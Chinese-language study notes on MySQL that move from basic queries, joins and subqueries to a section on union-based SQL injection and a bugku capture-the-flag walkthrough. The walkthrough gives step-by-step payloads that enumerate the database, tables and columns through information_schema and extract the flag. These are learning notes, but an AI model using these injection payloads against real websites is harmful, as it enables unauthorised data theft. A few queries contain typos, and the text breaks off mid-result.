sql学习

1. mysql学习

create database bjpowernode; 创建库
use bjpowernode;
source [路径] 导入表格们
show tables 显示表格
desc [table]; 和 show columns from [table]查看表table的结构
select * from [table]; 查表 
/c 终止命令
show databases; 查看有哪些数据库
select version(); 查看mysql版本
select database(); 查看用的是哪个数据库
select [字段1],[字段2] from [table]; 查表的某个字段
select sal*12 (as) yearsal from emp; 不会改变
条件查询 where
and 优先级高于 or
判断是否为空 只能用is 不能用null  
like 模糊查询: select ename from emp where ename like '_a%'   %表示任意数量任意字符,_表示一个任意字符;
排序:select sal from emp order by sal (desc/asc); desc降序 asc升序 默认升序
函数:
lower() 小写 substr(str,a,b) 从a开始截取b个
upper() 大写 trim() 去空格 length() 取长度
round(a,b) 四舍五入a , 小数后b为
rand() 0~1随机数 
select ifnull(comm,a) as comm,ename from emp; 如果comm是null 显示a; 
多行函数: (忽略空值)
1.sum() 求和
2.avg() 平均 
3.count () 获得记录数
4.max() 5.min() 
分组函数不能直接放在where中
distinct  去重 无括号, 必须放在最前面
group by 分组 
select sal from emp group by job (,deptno ) 可多个变量联合分组
having 过滤  : 在分组完成后进行过滤,考虑效率问题 能用where尽量用where
单表查询最复杂语句

联结查询:

分为外连接和内连接
内连接完全匹配 外连接包括不匹配的,全拿出来 , 外连接>=内连接
从多个表查询,如果不加限制,就全连一起了。 笛卡尔积

  1. 内连接中的等值连接:
      92标准写法 : select e.ename,d.dname from emp e ,dept d where e.deptno=d.detpno;
      98标准写法 : select e.ename,d.dname from emp e join dept d on e.deptno=d.deptno;

2.子查询
以查询 sal大于 sal的平均数查询为例

1. from 后的 子查询
mysql> select a.ename,a.sal from emp a join (select avg(sal) as asal from emp) t on a.sal >t.asal;
+-------+---------+
| ename | sal     |
+-------+---------+
| JONES | 2975.00 |
| BLAKE | 2850.00 |
| CLARK | 2450.00 |
| SCOTT | 3000.00 |
| KING  | 5000.00 |
| FORD  | 3000.00 |
+-------+---------+
6 rows in set (0.00 sec)

2. where后的子查询
mysql> select ename,sal from emp where (select avg(sal) from emp)< sal;
+-------+---------+
| ename | sal     |
+-------+---------+
| JONES | 2975.00 |
| BLAKE | 2850.00 |
| CLARK | 2450.00 |
| SCOTT | 3000.00 |
| KING  | 5000.00 |
| FORD  | 3000.00 |
+-------+---------+
6 rows in set (0.00 sec)
mysql> select b.dname,t.asal,a.grade  from (select avg(sal) as asal,deptno as dno from emp group by deptno) t join dept b join salgrade a on t.dno=b.deptno and t.asal between a.losal and a.hisal;
+-------------+-------------+-------+
| dname       | asal        | grade |
+-------------+-------------+-------+
| SALES       | 1566.666667 |     3 |
| ACCOUNTING  | 2916.666667 |     4 |
| RESEARCHING | 2175.000000 |     4 |
+-------------+-------------+-------+
  1. 在select后面使用select

4.union (合并查询结果集)

sql注入:

1.获取字段数:order by x 取临界值
(以下假设x=3)
2.获取数据库名: database() union select databases(),2,3;
(假设获得到数据库名为bjpn)
3.获取数据库版本: version() union select databases(),2,3;
4.获取数据库的表名:
union select table_name,2,3 from information_schema.tables where table_schema='bjpn';
(假设获得表名字emp)
5.获取表中的列名
union select column_name,2,3 from information_schema.columns where table_name='emp';
(假设获得列名sal)
6.获取数值
union select sal,2,3 from emp;

实战

在网页中,输入的数据往往是通过GET或者POST方法得到的,所以为字符串,带有引号,所以在注入的时候需要带上一个 ‘ 使表达式封闭。
同时要注意需要注释掉后面原本的引号

题目1 bugku 学生成绩查询

sql题目显然。
第一步,探索字段数量,查询结果: 四个字段.

1' order by 5 #

第二步:获得数据库名称 :
有一个注意点就是 不能写

1' union select database(),2,3,4; #

这是因为表格限制,只能显示一组数,所以应该把1去掉

' union select database(),2,3,4; #

得到数据库名称为skctf_flag
下一步:用过库名称得到表名

' union select table_name,2,3,4 from information_schema.tables where table_schema='skctf_flag' #

表名为fl4g
再通过表名得到其中字段名

' union select column_name,2,3,4 from information_schema.columns where table_name='fl4g'; #

得到有一个字段叫做skctf_flag
接下来直接查询嗷

' union select skctf_flag,2,3,4 from fl4g ; #

得到

你可能感兴趣的:(sql学习)